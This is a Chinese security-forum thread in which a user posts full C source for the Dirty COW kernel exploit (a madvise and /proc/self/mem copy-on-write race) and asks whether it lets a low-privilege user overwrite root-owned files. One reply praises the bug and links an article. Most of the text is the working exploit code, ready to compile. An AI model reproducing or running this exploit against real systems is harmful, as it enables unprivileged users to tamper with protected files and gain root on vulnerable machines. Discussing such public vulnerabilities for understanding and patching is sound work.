首页
社区
课程
招聘
未解决 [求助]修改root权限这么简单?!
发表于: 2018-12-3 16:11 1259

未解决 [求助]修改root权限这么简单?!

2018-12-3 16:11
1259
这段代码是不是实现了低权限用户修改服务器上root文件的权限?!

/*
 * main.c
 *
 *  Created on: Oct 21, 2016
 *      Author: 5t4rk
 */
#include<stdio.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<pthread.h>
#include<string.h>
 
void *map;
int f;
struct stat st;
char* name;
 
void * madviseThread(void *arg)
{
char *str;
str = (char *) arg;
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
}
 
void * procselfmemThread(void *arg)
{
char *str;
str = (char *) arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n", c);
}
 
int main(int argc, char *argv[])
{
if (argc < 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %x\n", map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 20
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
这段代码是简单,可找到这么牛的洞可不容易...
https://zhuanlan.zhihu.com/p/25918300
2018-12-3 16:20
0
游客
登录 | 注册 方可回帖
返回
//